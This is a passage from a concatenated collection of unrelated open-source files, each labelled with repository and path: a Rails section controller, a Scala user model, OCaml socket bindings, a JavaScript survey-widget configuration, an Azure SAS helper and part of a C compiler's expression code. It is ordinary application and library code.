failed_create_error(section, _('section')) redirect_to edit_org_admin_template_phase_path(template_id: section.phase.template.id, id: section.phase.id) end rescue StandardError => e flash[:alert] = _('Unable to create a new version of this template.') redirect_to edit_org_admin_template_phase_path(template_id: section.phase.template.id, id: section.phase.id) end else flash[:alert] = _('Unable to create a new section because the phase you specified does not exist.') redirect_to edit_org_admin_template_path(template_id: params[:template_id]) end end # PUT /org_admin/templates/[:template_id]/phases/[:phase_id]/sections/[:id] def update section = Section.includes(phase: :template).find(params[:id]) authorize section begin section = get_modifiable(section) if section.update!(section_params) flash[:notice] = success_message(_('section'), _('saved')) else flash[:alert] = failed_update_error(section, _('section')) end rescue StandardError => e flash[:alert] = _('Unable to create a new version of this template.') end if flash[:alert].present? redirect_to edit_org_admin_template_phase_path(template_id: section.phase.template.id, id: section.phase.id, section: section.id) else redirect_to edit_org_admin_template_phase_path(template_id: section.phase.template.id, id: section.phase.id, section: section.id) end end # DELETE /org_admin/templates/[:template_id]/phases/[:phase_id]/sections/[:id] def destroy section = Section.includes(phase: :template).find(params[:id]) authorize section begin section = get_modifiable(section) phase = section.phase if section.destroy! flash[:notice] = success_message(_('section'), _('deleted')) else flash[:alert] = failed_destroy_error(section, _('section')) end rescue StandardError => e flash[:alert] = _('Unable to create a new version of this template.') end if flash[:alert].present? redirect_to(edit_org_admin_template_phase_path(template_id: phase.template.id, id: phase.id)) else redirect_to(edit_org_admin_template_phase_path(template_id: phase.template.id, id: phase.id)) end end private def section_params params.require(:section).permit(:title, :description, :number) end end end
lrlucena/Scala_AlunoProfessor_Simple
app/models/Usuario.scala
<filename>app/models/Usuario.scala package models import java.util.UUID import com.mohiva.play.silhouette.api.{ Identity, LoginInfo } case class Usuario( id: UUID, loginInfo: LoginInfo, papel: String, nomeCompleto: String, email: String, avatarURL: Option[String], ativado: Boolean) extends Identity
Gwenio/synafis
src/datatypes/state_type.cpp
/* ISC License (ISC) Copyright 2018 <NAME> Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "state_type.hpp" namespace datatype { state_type::state_type() { gc::scoped_lock l{}; gc::root::register_(*this); } state_type::~state_type() { gc::root::unregister(*this); } block state_type::operator()() { std::tuple<bool, block> temp{call(top())}; if (!config::keep_call && std::get<0>(temp)) { pop(); } return std::get<1>(temp); } block state_type::operator()(value_type value) { std::tuple<bool, block> temp{call(value)}; if (config::keep_call && std::get<0>(temp)) { push(value); } return std::get<1>(temp); } void state_type::traverse(void *data, gc::enumerate_cb cb) const noexcept { accumulator.traverse(data, cb); (*cb)(data, static_cast<void *>(environment)); } void state_type::remap(void *data, gc::remap_cb cb) noexcept { ; } }
ucsd-progsys/nate
eval/ocaml/otherlibs/unix/socketpair.c
/***********************************************************************/ /* */ /* OCaml */ /* */ /* <NAME>, <NAME>, INRIA Rocquencourt */ /* */ /* Copyright 1996 Institut National de Recherche en Informatique et */ /* en Automatique. All rights reserved. This file is distributed */ /* under the terms of the GNU Library General Public License, with */ /* the special exception on linking described in file ../../LICENSE. */ /* */ /***********************************************************************/ #include <mlvalues.h> #include <alloc.h> #include <fail.h> #include "unixsupport.h" #ifdef HAS_SOCKETS #include <sys/socket.h> extern int socket_domain_table[], socket_type_table[]; CAMLprim value unix_socketpair(value domain, value type, value proto) { int sv[2]; value res; if (socketpair(socket_domain_table[Int_val(domain)], socket_type_table[Int_val(type)], Int_val(proto), sv) == -1) uerror("socketpair", Nothing); res = alloc_small(2, 0); Field(res,0) = Val_int(sv[0]); Field(res,1) = Val_int(sv[1]); return res; } #else CAMLprim value unix_socketpair(value domain, value type, value proto) { invalid_argument("socketpair not implemented"); } #endif
PhoenixHuang/Kantar
SharedContent/SE/2.3/source/js/SurveyTools/qcbtnmatrixgridset.js
/** * qcbtnmatrixgridset class * Inherits from SESurveyTool */ function qcbtnmatrixgridset(questionContainers, json, globalOpts) { SESurveyTool.prototype.init.call(this, questionContainers, json, globalOpts); } qcbtnmatrixgridset.prototype = Object.create(SESurveyTool.prototype); qcbtnmatrixgridset.prototype.type = function(){ return "qcbtnmatrixgridset"; } qcbtnmatrixgridset.prototype.getDependencies = function(){ return [ {'type':'script', 'url' : surveyPage.path + 'lib/qstudio/qcreator/qcomponent/BtnMatrix.js'}, //{'type':'script', 'url' : surveyPage.path + 'lib/qstudio/qcreator/qcore/QFactory.js'}, //{'type':'script', 'url' : surveyPage.path + 'lib/qstudio/qcreator/qcore/QContainer.js'}, {'type':'script', 'url' : surveyPage.path + 'lib/qstudio/qcreator/qcore/QWidget.js'} ]; } qcbtnmatrixgridset.prototype.setInitialResponses = function (){ var dimResp = []; $.each(this.subquestions, function(rowid, e) { var colResp = []; $.each(e.inputs.filter(":checked"), function(i, e) { colResp.push({index:$(e).attr("colid")}); }); dimResp.push({rowIndex: rowid, colIndex:colResp}); }); this.component.setDimenResp(dimResp); } qcbtnmatrixgridset.prototype.setResponses = function (){ console.log("Set responses"); var response = this.getResponse(); if (response == null) return; console.log("Set responses2"); this.clearInputs(); // need to clear the responses before setting them. var that = this; $.each($(response.Value), function(i,e) { // Sets categories var resp = e.split('^'); var inputs = that.subquestions[resp[0]].inputs; var multi = inputs.filter('input[type=checkbox]'); if (multi) inputs.filter('[value='+resp[1]+']').val($.makeArray(resp[1])); else inputs.val($.makeArray(resp[1])); }); } qcbtnmatrixgridset.prototype.build = function(){ var rowArray = [], colArray = [], that = this; // Create questions and columns to build this.buildArraysFromGrid(); // Build up row array $.each(this.subquestions, function (i, e) { var label = e.label; label.find('span').removeClass('mrQuestionText'); label.find("span").removeClass('mrSingleText'); label.find("span").removeClass('mrMultipleText'); rowArray.push({ id: e.id, label: label.html(), description: label.text(), image: e.image }); }); // Build up column array $.each(this.columnheaders, function (i, e) { var label = $(e.label); label.find('span').removeClass('mrQuestionText'); label.find("span").removeClass('mrSingleText'); label.find("span").removeClass('mrMultipleText'); label.find("span").attr('style',''); var image = label.find('img'); image.remove(); //alert($(that.subquestions[0].inputs[i]).val() +"-->"+ label.text()); colArray.push({ id: $(that.subquestions[0].inputs[i]).val(), label: label.html(), description: label.text(), image: image.attr('src'), isRadio: $(that.subquestions[0].inputs[i]).attr('isexclusive') == "true" }); if (colArray[colArray.length-1].isRadio) { colArray[colArray.length-1].type = 'radiocheck'; // radio button } }); this.component = new BtnMatrix(); this.component.rowArray(rowArray); this.component.columnArray(colArray); this.component.baseTool="btnmatrix"; this.component.params(this.params()); this.deferred.resolve(); } qcbtnmatrixgridset.prototype.toolOptions = function() { $.extend(this.options, eval("this.options."+qcbtnmatrixgridset.prototype.type())); switch(pageLayout.deviceType.toUpperCase()) { case "LARGETABLET": case "MEDIUMTABLET": case "SMALLTABLET": case "SMARTPHONETOUCH": if(this.orientation==0||this.orientation==180) return { 'compQuestionType': "Single Choice", 'rowContainType': "set layout", 'rowBtnUseZoom': false, 'rowContainLabel': "", 'rowBtnShowLabel': true, 'rowBtnUseTooltip': false, 'rowContainWidth': 0, 'rowContainPadding': 0, 'rowContainHgap': 20, 'rowContainVgap': 20, 'rowContainHoffset': 0, 'rowContainVoffset': 0, 'rowBtnDefaultType': "Label only", 'rowBtnWidth': 185, 'rowBtnHeight': 100, 'rowBtnBorderStyle': "solid", 'rowBtnBorderRadius': 5, 'rowBtnLabelPlacement': "bottom", 'rowBtnLabelHalign': "right", 'rowBtnLabelFontSize': 15, 'rowBtnLabelHoffset': 0, 'rowBtnLabelVoffset': 0, // 'rowBtnLabelColorUp': 0x555555, // 'rowBtnLabelColorDown': 0x555555, 'rowBtnImgHoffset': 0, 'rowBtnImgVoffset': 0, 'rowShowStamp': false, 'rowStampWidth': 30, 'rowStampHeight': 30, 'rowStampHoffset': 0, 'rowStampVoffset': 0, 'rowKantBtnLabelWidth': 100, 'rowZoomHoffset': 0, 'rowZoomVoffset': 0, // 'zoomOverlayBckgrndColor': 0x000000, 'zoomOverlayAlpha': 88, 'zoomGalleryPadding': 10, 'zoomGalleryHoffset': 0, 'zoomGalleryVoffset': 0, 'zoomCloseWidth': 22, 'zoomCloseHeight': 22, 'zoomCloseHoffset': 0, 'zoomCloseVoffset': 0, 'rowContainHeight': 0, 'rowBckgrndShowImp': false, 'rowBckgrndImpUp': "", 'rowBckgrndImpDown': "", 'colContainType': "horizontal layout", 'colContainWidth': 600, 'colContainHgap': 2, 'colContainVgap': 20, 'colContainHoffset': 0, 'colContainVoffset': 0, 'colContainBorderStyle': "solid", 'colContainBorderWidth': 0, // 'colContainBorderColor': 0xcccccc, // 'colContainBckgrndColor': 0xffffff, 'tooltipWidth': 100, 'tooltipBorderWidth': 1, // 'tooltipBorderColor': 0xcccccc, // 'tooltipBckgrndColor': 0xf5f5f5, 'tooltipLabelhalign': "left", 'tooltipfontsize': 12, // 'tooltipfontColor': 0x555555, 'zoomWidth': 20, 'zoomHeight': 20, 'colZoomHoffset': 0, 'colZoomVoffset': 0, 'zoomBorderWidth': 1, // 'zoomBorderColor': 0xcccccc, // 'zoomBckgrndColor': 0xf5f5f5, 'rowContainSetRowPer': 5, 'rowContainScrlEndPos': -300, 'rowContainChldInitAlpha': 0, 'rowContainChldEndAlpha': 100, 'rowContainAutoNext': true, 'colBtnDefaultType': "Text", 'colBtnWidth': 95, 'colBtnHeight': 50, 'colBtnBorderStyle': "solid", 'colBtnBorderRadius': 0, 'colBtnShowBckgrnd': true, 'colRadShowImp': false, 'colChkShowImp': false, // 'colBtnBckgrndColorUp': 0xf5f5f5, // 'colBtnBckgrndColorOver': 0x9FCC3B, // 'colBtnBckgrndColorDown': 0x9FCC3B, 'colRadImpUp': "", 'colRadImpover': "", 'colRadImpDown': "", 'colChkImpUp': "", 'colChkImpover': "", 'colChkImpDown': "", 'colBtnShowLabel': true, 'colBtnLabelPlacement': "bottom", 'colBtnLabelHalign': "center", 'colBtnLabelFontSize': 15, 'colBtnLabelHoffset': 0, 'colBtnLabelVoffset': 0, // 'colBtnLabelColorUp': 0x333333, // 'colBtnLabelColorOver': 0xffffff, // 'colBtnLabelColorDown': 0xffffff, 'colBtnImgHoffset': 0, 'colBtnImgVoffset': 0, 'colShowStamp': false, 'colStampWidth': 30, 'colStampHeight': 30, 'colStampHoffset': 0, 'colStampVoffset': 0, 'colkantBtnLabelWidth': 100, 'colRadChckLabelWidth': 100, 'colRadChckWidthRadio': 30, 'colRadChckHeightRadio': 30, 'colRadChckWidthcheck': 30, 'colRadChckHeightcheck': 30, 'colOtherInitTxt': "Please specify...", 'colOtherMinVal': 1, 'colOtherMaxVal': 100, 'colOtherMsgWidth': 100, 'colOtherInvalidMsg': "Number is invalid", 'colOtherRangeMsg': "Number must be >= min & <= max", 'colBtnMouseOverDownShadow': false, 'colBtnMouseOverBounce': false, 'colBtnMouseOverScale': 100, 'colBtnMouseDownScale': 100, 'colBtnMouseDownAlpha': 100, 'colBtnUseTooltip': false, 'colBtnUseZoom': false, 'rowContainGoOpaque': false, // 'colBtnBorderColorOver': 0x9FCC3B, // 'colBtnBorderColorDown': 0x9FCC3B, 'rowContainShowBckgrnd': false, // 'rowBtnLabelBckgrndColor': 0xf2f2f2, 'rowTxtBtnBckgrndTrim': false, 'zoomGalleryMaxWidth': 500, 'zoomGalleryMaxHeight': 500, 'compCapValue': 0, 'rowContainPos': "relative", 'colContainShowBckgrnd': false, 'colBtnBorderWidth': 1, // 'colBtnLabelBckgrndColor': 0xf2f2f2, 'colTxtBtnBckgrndTrim': false, 'compClickType': "Default", // 'rowBtnBckgrndColorDown': 0xfce6c9, 'colContainLabel': "", 'rowContainBorderStyle': "solid", 'rowContainBorderWidth': 0, // 'rowContainBorderColor': 0xcccccc, // 'rowContainBckgrndColor': 0xf5f5f5, 'rowBtnBorderWidth': 1, // 'rowBtnBorderColor': 0xcccccc, 'rowBtnShowBckgrnd': false, // 'rowBtnBckgrndColorUp': 0xf5f5f5, 'rowBtnLabelPadding': 2, 'rowBtnImgPadding': 5, 'rowContainScrlInitPos': 500, 'rowContainScrlDispPos': 220, 'rowContainChildOpaq': 100, // 'colBtnBorderColor': 0xcccccc, 'colBtnImgPadding': 5, 'colBtnLabelPadding': 2, 'colBtnBorderWidthDown': 2, 'colBtnBorderWidthOver': 2, 'colBtnPadding':4 } else return { 'compQuestionType': "Single Choice", 'rowContainType': "set layout", 'rowBtnUseZoom': false, 'rowContainLabel': "", 'rowBtnShowLabel': true, 'rowBtnUseTooltip': false, 'rowContainWidth': 0, 'rowContainPadding': 0, 'rowContainHgap': 20, 'rowContainVgap': 20, 'rowContainHoffset': 0, 'rowContainVoffset': 0, 'rowBtnDefaultType': "Label only", 'rowBtnWidth': 185, 'rowBtnHeight': 100, 'rowBtnBorderStyle': "solid", 'rowBtnBorderRadius': 5, 'rowBtnLabelPlacement': "bottom", 'rowBtnLabelHalign': "right", 'rowBtnLabelFontSize': 15, 'rowBtnLabelHoffset': 0, 'rowBtnLabelVoffset': 0, // 'rowBtnLabelColorUp': 0x555555, // 'rowBtnLabelColorDown': 0x555555, 'rowBtnImgHoffset': 0, 'rowBtnImgVoffset': 0, 'rowShowStamp': false, 'rowStampWidth': 30, 'rowStampHeight': 30, 'rowStampHoffset': 0, 'rowStampVoffset': 0, 'rowKantBtnLabelWidth': 100, 'rowZoomHoffset': 0, 'rowZoomVoffset': 0, // 'zoomOverlayBckgrndColor': 0x000000, 'zoomOverlayAlpha': 88, 'zoomGalleryPadding': 10, 'zoomGalleryHoffset': 0, 'zoomGalleryVoffset': 0, 'zoomCloseWidth': 22, 'zoomCloseHeight': 22, 'zoomCloseHoffset': 0, 'zoomCloseVoffset': 0, 'rowContainHeight': 0, 'rowBckgrndShowImp': false, 'rowBckgrndImpUp': "", 'rowBckgrndImpDown': "", 'colContainType': "horizontal layout", 'colContainWidth': 600, 'colContainHgap': 2, 'colContainVgap': 20, 'colContainHoffset': 0, 'colContainVoffset': 0, 'colContainBorderStyle': "solid", 'colContainBorderWidth': 0, // 'colContainBorderColor': 0xcccccc, // 'colContainBckgrndColor': 0xffffff, 'tooltipWidth': 100, 'tooltipBorderWidth': 1, // 'tooltipBorderColor': 0xcccccc, // 'tooltipBckgrndColor': 0xf5f5f5, 'tooltipLabelhalign': "left", 'tooltipfontsize': 12, // 'tooltipfontColor': 0x555555, 'zoomWidth': 20, 'zoomHeight': 20, 'colZoomHoffset': 0, 'colZoomVoffset': 0, 'zoomBorderWidth': 1, // 'zoomBorderColor': 0xcccccc, // 'zoomBckgrndColor': 0xf5f5f5, 'rowContainSetRowPer': 5, 'rowContainScrlEndPos': -300, 'rowContainChldInitAlpha': 0, 'rowContainChldEndAlpha': 100, 'rowContainAutoNext': true, 'colBtnDefaultType': "Text", 'colBtnWidth': 95, 'colBtnHeight': 50, 'colBtnBorderStyle': "solid", 'colBtnBorderRadius': 0, 'colBtnShowBckgrnd': true, 'colRadShowImp': false, 'colChkShowImp': false, // 'colBtnBckgrndColorUp': 0xf5f5f5, // 'colBtnBckgrndColorOver': 0x9FCC3B, // 'colBtnBckgrndColorDown': 0x9FCC3B, 'colRadImpUp': "", 'colRadImpover': "", 'colRadImpDown': "", 'colChkImpUp': "", 'colChkImpover': "", 'colChkImpDown': "", 'colBtnShowLabel': true, 'colBtnLabelPlacement': "bottom", 'colBtnLabelHalign': "center", 'colBtnLabelFontSize': 15, 'colBtnLabelHoffset': 0, 'colBtnLabelVoffset': 0, // 'colBtnLabelColorUp': 0x333333, // 'colBtnLabelColorOver': 0xffffff, // 'colBtnLabelColorDown': 0xffffff, 'colBtnImgHoffset': 0, 'colBtnImgVoffset': 0, 'colShowStamp': false, 'colStampWidth': 30, 'colStampHeight': 30, 'colStampHoffset': 0, 'colStampVoffset': 0, 'colkantBtnLabelWidth': 100, 'colRadChckLabelWidth': 100, 'colRadChckWidthRadio': 30, 'colRadChckHeightRadio': 30, 'colRadChckWidthcheck': 30, 'colRadChckHeightcheck': 30, 'colOtherInitTxt': "Please specify...", 'colOtherMinVal': 1, 'colOtherMaxVal': 100, 'colOtherMsgWidth': 100, 'colOtherInvalidMsg': "Number is invalid", 'colOtherRangeMsg': "Number must be >= min & <= max", 'colBtnMouseOverDownShadow': false, 'colBtnMouseOverBounce': false, 'colBtnMouseOverScale': 100, 'colBtnMouseDownScale': 100, 'colBtnMouseDownAlpha': 100, 'colBtnUseTooltip': false, 'colBtnUseZoom': false, 'rowContainGoOpaque': false, // 'colBtnBorderColorOver': 0x9FCC3B, // 'colBtnBorderColorDown': 0x9FCC3B, 'rowContainShowBckgrnd': false, // 'rowBtnLabelBckgrndColor': 0xf2f2f2, 'rowTxtBtnBckgrndTrim': false, 'zoomGalleryMaxWidth': 500, 'zoomGalleryMaxHeight': 500, 'compCapValue': 0, 'rowContainPos': "relative", 'colContainShowBckgrnd': false, 'colBtnBorderWidth': 1, // 'colBtnLabelBckgrndColor': 0xf2f2f2, 'colTxtBtnBckgrndTrim': false, 'compClickType': "Default", // 'rowBtnBckgrndColorDown': 0xfce6c9, 'colContainLabel': "", 'rowContainBorderStyle': "solid", 'rowContainBorderWidth': 0, // 'rowContainBorderColor': 0xcccccc, // 'rowContainBckgrndColor': 0xf5f5f5, 'rowBtnBorderWidth': 1, // 'rowBtnBorderColor': 0xcccccc, 'rowBtnShowBckgrnd': false, // 'rowBtnBckgrndColorUp': 0xf5f5f5, 'rowBtnLabelPadding': 2, 'rowBtnImgPadding': 5, 'rowContainScrlInitPos': 500, 'rowContainScrlDispPos': 220, 'rowContainChildOpaq': 100, // 'colBtnBorderColor': 0xcccccc, 'colBtnImgPadding': 5, 'colBtnLabelPadding': 2, 'colBtnBorderWidthDown': 2, 'colBtnBorderWidthOver': 2, 'colBtnPadding':4 } case "PC": case "OTHERDEVICE": default: return { 'compQuestionType': "Single Choice", 'rowContainType': "set layout", 'rowBtnUseZoom': false, 'rowContainLabel': "", 'rowBtnShowLabel': true, 'rowBtnUseTooltip': false, 'rowContainWidth': 0, 'rowContainPadding': 0, 'rowContainHgap': 20, 'rowContainVgap': 20, 'rowContainHoffset': 0, 'rowContainVoffset': 0, 'rowBtnDefaultType': "Label only", 'rowBtnWidth': 185, 'rowBtnHeight': 100, 'rowBtnBorderStyle': "solid", 'rowBtnBorderRadius': 5, 'rowBtnLabelPlacement': "bottom", 'rowBtnLabelHalign': "right", 'rowBtnLabelFontSize': 15, 'rowBtnLabelHoffset': 0, 'rowBtnLabelVoffset': 0, // 'rowBtnLabelColorUp': 0x555555, // 'rowBtnLabelColorDown': 0x555555, 'rowBtnImgHoffset': 0, 'rowBtnImgVoffset': 0, 'rowShowStamp': false, 'rowStampWidth': 30, 'rowStampHeight': 30, 'rowStampHoffset': 0, 'rowStampVoffset': 0, 'rowKantBtnLabelWidth': 100, 'rowZoomHoffset': 0, 'rowZoomVoffset': 0, // 'zoomOverlayBckgrndColor': 0x000000, 'zoomOverlayAlpha': 88, 'zoomGalleryPadding': 10, 'zoomGalleryHoffset': 0, 'zoomGalleryVoffset': 0, 'zoomCloseWidth': 22, 'zoomCloseHeight': 22, 'zoomCloseHoffset': 0, 'zoomCloseVoffset': 0, 'rowContainHeight': 0, 'rowBckgrndShowImp': false, 'rowBckgrndImpUp': "", 'rowBckgrndImpDown': "", 'colContainType': "horizontal layout", 'colContainWidth': 600, 'colContainHgap': 2, 'colContainVgap': 20, 'colContainHoffset': 0, 'colContainVoffset': 0, 'colContainBorderStyle': "solid", 'colContainBorderWidth': 0, // 'colContainBorderColor': 0xcccccc, // 'colContainBckgrndColor': 0xffffff, 'tooltipWidth': 100, 'tooltipBorderWidth': 1, // 'tooltipBorderColor': 0xcccccc, // 'tooltipBckgrndColor': 0xf5f5f5, 'tooltipLabelhalign': "left", 'tooltipfontsize': 12, // 'tooltipfontColor': 0x555555, 'zoomWidth': 20, 'zoomHeight': 20, 'colZoomHoffset': 0, 'colZoomVoffset': 0, 'zoomBorderWidth': 1, // 'zoomBorderColor': 0xcccccc, // 'zoomBckgrndColor': 0xf5f5f5, 'rowContainSetRowPer': 5, 'rowContainScrlEndPos': -300, 'rowContainChldInitAlpha': 0, 'rowContainChldEndAlpha': 100, 'rowContainAutoNext': true, 'colBtnDefaultType': "Text", 'colBtnWidth': 100, 'colBtnHeight': 50, 'colBtnBorderStyle': "solid", 'colBtnBorderRadius': 0, 'colBtnShowBckgrnd': true, 'colRadShowImp': false, 'colChkShowImp': false, // 'colBtnBckgrndColorUp': 0xf5f5f5, // 'colBtnBckgrndColorOver': 0x9FCC3B, // 'colBtnBckgrndColorDown': 0x9FCC3B, 'colRadImpUp': "", 'colRadImpover': "", 'colRadImpDown': "", 'colChkImpUp': "", 'colChkImpover': "", 'colChkImpDown': "", 'colBtnShowLabel': true, 'colBtnLabelPlacement': "bottom", 'colBtnLabelHalign': "center", 'colBtnLabelFontSize': 15, 'colBtnLabelHoffset': 0, 'colBtnLabelVoffset': 0, // 'colBtnLabelColorUp': 0x333333, // 'colBtnLabelColorOver': 0xffffff, // 'colBtnLabelColorDown': 0xffffff, 'colBtnImgHoffset': 0, 'colBtnImgVoffset': 0, 'colShowStamp': false, 'colStampWidth': 30, 'colStampHeight': 30, 'colStampHoffset': 0, 'colStampVoffset': 0, 'colkantBtnLabelWidth': 100, 'colRadChckLabelWidth': 100, 'colRadChckWidthRadio': 30, 'colRadChckHeightRadio': 30, 'colRadChckWidthcheck': 30, 'colRadChckHeightcheck': 30, 'colOtherInitTxt': "Please specify...", 'colOtherMinVal': 1, 'colOtherMaxVal': 100, 'colOtherMsgWidth': 100, 'colOtherInvalidMsg': "Number is invalid", 'colOtherRangeMsg': "Number must be >= min & <= max", 'colBtnMouseOverDownShadow': false, 'colBtnMouseOverBounce': false, 'colBtnMouseOverScale': 100, 'colBtnMouseDownScale': 100, 'colBtnMouseDownAlpha': 100, 'colBtnUseTooltip': false, 'colBtnUseZoom': false, 'rowContainGoOpaque': false, // 'colBtnBorderColorOver': 0x9FCC3B, // 'colBtnBorderColorDown': 0x9FCC3B, 'rowContainShowBckgrnd': false, // 'rowBtnLabelBckgrndColor': 0xf2f2f2, 'rowTxtBtnBckgrndTrim': false, 'zoomGalleryMaxWidth': 500, 'zoomGalleryMaxHeight': 500, 'compCapValue': 0, 'rowContainPos': "relative", 'colContainShowBckgrnd': false, 'colBtnBorderWidth': 1, // 'colBtnLabelBckgrndColor': 0xf2f2f2, 'colTxtBtnBckgrndTrim': false, 'compClickType': "Default", // 'rowBtnBckgrndColorDown': 0xfce6c9, 'colContainLabel': "", 'rowContainBorderStyle': "solid", 'rowContainBorderWidth': 0, // 'rowContainBorderColor': 0xcccccc, // 'rowContainBckgrndColor': 0xf5f5f5, 'rowBtnBorderWidth': 1, // 'rowBtnBorderColor': 0xcccccc, 'rowBtnShowBckgrnd': false, // 'rowBtnBckgrndColorUp': 0xf5f5f5, 'rowBtnLabelPadding': 2, 'rowBtnImgPadding': 5, 'rowContainScrlInitPos': 500, 'rowContainScrlDispPos': 220, 'rowContainChildOpaq': 100, // 'colBtnBorderColor': 0xcccccc, 'colBtnImgPadding': 5, 'colBtnLabelPadding': 2, 'colBtnBorderWidthDown': 2, 'colBtnBorderWidthOver': 2, 'colBtnPadding':4 } } }
Sgitario/jcloud-unit
examples/quarkus-oidc/src/test/java/io/jester/examples/quarkus/oidc/KubernetesKeycloakGreetingResourceIT.java
package io.jester.examples.quarkus.oidc; import io.jester.api.RunOnKubernetes; @RunOnKubernetes public class KubernetesKeycloakGreetingResourceIT extends KeycloakGreetingResourceIT { @Override protected String getRealmUrl() { return String.format("http://keycloak:8080/auth/realms/%s", REALM); } }
romsom/HISE
tools/snex_playground/test_files/struct/struct_member_call.h
/* BEGIN_TEST_DATA f: main ret: int args: int input: 12 output: 120 error: "" filename: "struct/struct_member_call" END_TEST_DATA */ struct X { int v = 120; int getX() { return v; } }; X x; int main(int input) { //return x.v; return x.getX(); }
laokingshineUAV/VoTT
node_modules/@azure/storage-blob/dist-esm/lib/AccountSASResourceTypes.js
/** * ONLY AVAILABLE IN NODE.JS RUNTIME. * * This is a helper class to construct a string representing the resources accessible by an AccountSAS. Setting a value * to true means that any SAS which uses these permissions will grant access to that resource type. Once all the * values are set, this should be serialized with toString and set as the resources field on an * {@link AccountSASSignatureValues} object. It is possible to construct the resources string without this class, but * the order of the resources is particular and this class guarantees correctness. * * @export * @class AccountSASResourceTypes */ var AccountSASResourceTypes = /** @class */ (function () { function AccountSASResourceTypes() { /** * Permission to access service level APIs granted. * * @type {boolean} * @memberof AccountSASResourceTypes */ this.service = false; /** * Permission to access container level APIs (Blob Containers, Tables, Queues, File Shares) granted. * * @type {boolean} * @memberof AccountSASResourceTypes */ this.container = false; /** * Permission to access object level APIs (Blobs, Table Entities, Queue Messages, Files) granted. * * @type {boolean} * @memberof AccountSASResourceTypes */ this.object = false; } /** * Creates an {@link AccountSASResourceType} from the specified resource types string. This method will throw an * Error if it encounters a character that does not correspond to a valid resource type. * * @static * @param {string} resourceTypes * @returns {AccountSASResourceTypes} * @memberof AccountSASResourceTypes */ AccountSASResourceTypes.parse = function (resourceTypes) { var accountSASResourceTypes = new AccountSASResourceTypes(); for (var _i = 0, resourceTypes_1 = resourceTypes; _i < resourceTypes_1.length; _i++) { var c = resourceTypes_1[_i]; switch (c) { case "s": accountSASResourceTypes.service = true; break; case "c": accountSASResourceTypes.container = true; break; case "o": accountSASResourceTypes.object = true; break; default: throw new RangeError("Invalid resource type: " + c); } } return accountSASResourceTypes; }; /** * Converts the given resource types to a string. * * @see https://docs.microsoft.com/en-us/rest/api/storageservices/constructing-an-account-sas * * @returns {string} * @memberof AccountSASResourceTypes */ AccountSASResourceTypes.prototype.toString = function () { var resourceTypes = []; if (this.service) { resourceTypes.push("s"); } if (this.container) { resourceTypes.push("c"); } if (this.object) { resourceTypes.push("o"); } return resourceTypes.join(""); }; return AccountSASResourceTypes; }()); export { AccountSASResourceTypes }; //# sourceMappingURL=AccountSASResourceTypes.js.map
CARV-ICS-FORTH/scoop
banshee/cparser/expr.c
/* This file is part of the RC compiler. This file is derived from the GNU C Compiler. It is thus Copyright (C) 1987, 88, 89, 92-7, 1998 Free Software Foundation, Inc. and Copyright (C) 2000-2001 The Regents of the University of California. RC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. RC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with RC; see the file COPYING. If not, write to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "parser.h" #include "expr.h" #include "types.h" #include "c-parse.h" #include "constants.h" #include "unparse.h" #include "semantics.h" #include "stmt.h" #include "rc.h" #include "AST_utils.h" /* On FreeBSD, alloca is defined in stdlib, on most other platforms, (cygwin, linux) it is in alloca.h */ #ifndef __FreeBSD__ #include <alloca.h> #endif /* Return TRUE if TTL and TTR are pointers to types that are equivalent, ignoring their qualifiers. */ static bool compatible_pointer_targets(type ttl, type ttr, bool pedantic) { int val; val = type_compatible_unqualified(ttl, ttr); if (val == 2 && pedantic) pedwarn("types are not quite compatible"); return val != 0; } static bool compatible_pointer_types(type tl, type tr) { return compatible_pointer_targets(type_points_to(tl), type_points_to(tr), pedantic); } static void warn_for_assignment(const char *msg, const char *opname, const char *function, int argnum) { static char argstring[] = "passing arg %d of `%s'"; static char argnofun[] = "passing arg %d"; if (opname == 0) { char *tmpname; if (function) { /* Function name is known; supply it. */ tmpname = (char *)alloca(strlen(function) + sizeof(argstring) + 25 /*%d*/ + 1); sprintf(tmpname, argstring, argnum, function); } else { /* Function name unknown (call through ptr); just give arg number. */ tmpname = (char *)alloca(sizeof(argnofun) + 25 /*%d*/ + 1); sprintf(tmpname, argnofun, argnum); } opname = tmpname; } pedwarn(msg, opname); } static void incomplete_type_error(expression e, type t) { /* Avoid duplicate error message. */ if (t == error_type) return; if (e && is_identifier(e)) error("`%s' has an incomplete type", CAST(identifier, e)->cstring.data); else { while (type_array(t) && type_array_size(t)) t = type_array_of(t); if (type_struct(t)) error("invalid use of undefined type `struct %s'", type_tag(t)->name); else if (type_union(t)) error("invalid use of undefined type `union %s'", type_tag(t)->name); else if (type_enum(t)) error("invalid use of undefined type `enum %s'", type_tag(t)->name); else if (type_void(t)) error("invalid use of void expression"); else if (type_array(t)) error("invalid use of array with unspecified bounds"); else assert(0); /* XXX: Missing special message for typedef's */ } } static type require_complete_type(expression e, type etype) { if (!type_incomplete(etype)) return e->type; incomplete_type_error(e, etype); return error_type; } type default_conversion(expression e) { type from = e->type; if (type_enum(from)) from = type_tag(from)->reptype; if (type_smallerthanint(from)) { /* Traditionally, unsignedness is preserved in default promotions. */ if (flag_traditional && type_unsigned(from)) return unsigned_int_type; else return int_type; } if (flag_traditional && !flag_allow_single_precision && type_float(from)) return double_type; if (type_void(from)) { error("void value not ignored as it ought to be"); return error_type; } if (type_function(from)) { assert(!e->cst); e->cst = e->static_address; return make_pointer_type(from); } if (type_array(from)) { if (!e->lvalue) { 